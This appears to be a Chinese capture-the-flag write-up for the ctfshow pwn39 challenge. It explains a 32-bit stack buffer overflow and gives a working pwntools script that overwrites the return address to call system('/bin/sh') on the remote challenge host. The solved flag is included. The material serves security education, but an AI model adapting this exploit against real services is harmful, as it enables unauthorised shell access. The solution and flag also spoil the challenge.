CTFshow-PWN-栈溢出(pwn39)

32位的 system(); "/bin/sh"

检查:

32 位程序

使用 ida32 分析

跟进 ctfshow 函数

buf 到 ebp 距离:0x12

代码解释:

声明了一个长度为 14 的字符数组 buf,数组大小为14字节,用来存储用户输入的数据,调用 read() 函数,从文件描述符(在这里是标准输入,文件描述符0)读取数据。read()函数的第一个参数是文件描述符,第二个参数是用来接收数据的缓冲区,第三个参数是要读取的字节数。

read() 函数试图从标准输入读取最多 0x32(十进制为50)个字节的数据到 buf 数组中,然后返回实际读取的字节数。但是,由于 buf 数组的大小只有 14 字节,这就可能导致溢出。

shift + F12:

看到 /bin/sh

跟进

找到 hint 函数

但是这里和我们之前(pwn37、pwn38)不一样:

在标准输出上输出路径 '/bin/sh';

调用 system()函数,该函数用于执行系统命令,但这里只是输出提示信息 'You find me?'。

而前面我们遇到的直接获取 shell 的是:system("/bin/sh")

根据题目描述:32位的 system(); "/bin/sh"

system() 与 "/bin/sh" 在程序中都存在,但这里将系统函数与参数分开了,我们需要手动构造。

payload 格式:

复制代码
payload = b'a'*(0x12+4) + p32(system) + p32(0) + p32(bin_sh)

首先在溢出后填入 system 函数的地址,这个地址将覆盖程序返回地址,以便控制程序流程。
此外我们需要考虑函数调用栈的结构:system函数的第一个参数通常是一个指向要执行的命令的字符串,如 /bin/sh,需要将这个字符串的地址作为参数传递给 system 函数,system 函数的第二个参数通常是一个指向空值的指针,表示没有额外的参数。在 payload 中,可以使用任意值,比如 0 ,使用 p32() 函数将地址转换为4字节的字符串,也可以用其他任意 4 字节字符,如 'aaaa',最后再加上 bin/sh 的地址,我们就能够利用缓冲区溢出漏洞成功调用 system("/bin/sh"),从而获取到所需的 shell。

payload 详细解释:

b'a' * (0x12 + 4):这部分是填充,填充的目的是使得输入的长度超过了原本的缓冲区大小,触发缓冲区溢出。

p32(system):这部分是 system 函数的地址,在利用缓冲区溢出漏洞时,重要的一步是覆盖返回地址,使得程序返回时跳转到 system 函数。

p32(0):这部分是 system 函数的第二个参数,在大多数情况下,system 函数的第二个参数应该是一个指向空值的指针,表示没有额外的参数,这里使用了0,表示一个空指针。

p32(bin_sh):这部分是 /bin/sh 字符串的地址,作为 system 函数的第一个参数,/bin/sh 是一个用于启动 shell 的路径,在利用缓冲区溢出漏洞时,我们可以使用这个参数来告诉 system 函数要执行的命令。

这里 system 函数的地址:0x80483A0

/bin/sh 字符串的地址: 0x8048750

编写 exp:

python 复制代码
from pwn import *
context.log_level = 'debug'
p = remote('pwn.challenge.ctf.show', 28118)
payload = b'a'*(0x12+4) + p32(0x80483A0) + p32(0) + p32(0x8048750)
p.sendline(payload)
p.interactive()

可以打通,获取 shell,命令执行拿到 flag

ctfshow{82f7f5c7-22cd-48fa-aa30-5347bad92362}

相关推荐
小小程序媛(*^▽^*)10 小时前
第十二届全国社会媒体处理大会笔记
人工智能·笔记·学习·ai
深思慎考10 小时前
Linux二进制查看工具——hexdump
linux·c++·二进制·文件查看·hexdump
会开花的二叉树10 小时前
c语言贪吃蛇游戏开发
c语言·开发语言
云边有个稻草人10 小时前
从内核调优到集群部署:基于Linux环境下KingbaseES数据库安装指南
linux·数据库·金仓数据库管理系统
Raymond运维10 小时前
MySQL包安装 -- RHEL系列(Yum资源库安装MySQL)
linux·数据库·mysql
十重幻想10 小时前
PTA6-4 使用函数统计指定数字的个数(C)
c语言·c++·算法
夜月yeyue10 小时前
ART 加速器、流水线与指令预测的关系详解
linux·服务器·c语言·单片机·嵌入式硬件·性能优化·嵌入式高阶技巧
毕设源码-邱学长10 小时前
【开题答辩全过程】以 爱学习教育网站为例,包含答辩的问题和答案
学习
---学无止境---11 小时前
Linux中select的实现
linux
迎風吹頭髮11 小时前
UNIX下C语言编程与实践36-UNIX 时钟:系统时间、高分辨率时间与日历时间的转换与使用
服务器·c语言·unix